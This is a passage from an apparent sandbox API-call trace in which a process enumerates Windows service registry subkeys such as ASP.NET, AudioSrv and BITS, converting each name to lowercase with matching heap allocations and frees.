dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0256.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0256.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.286] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.286] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0256.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0256.286] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.287] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0256.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0256.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.287] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0256.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0256.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1cd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0256.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.287] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0256.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0256.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.287] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0256.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0256.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.288] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0256.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0256.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f19b8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0256.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.288] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0256.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0256.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.288] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0256.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0256.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.290] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0256.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0256.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.290] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0256.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0256.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.290] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0256.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0256.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.290] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0256.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0256.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.291] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0256.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0256.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.291] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0256.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0256.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.291] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0256.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0256.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.292] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0256.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0256.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.292] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0256.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0256.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.292] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0256.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0256.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.292] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0256.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0256.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.293] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0256.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, 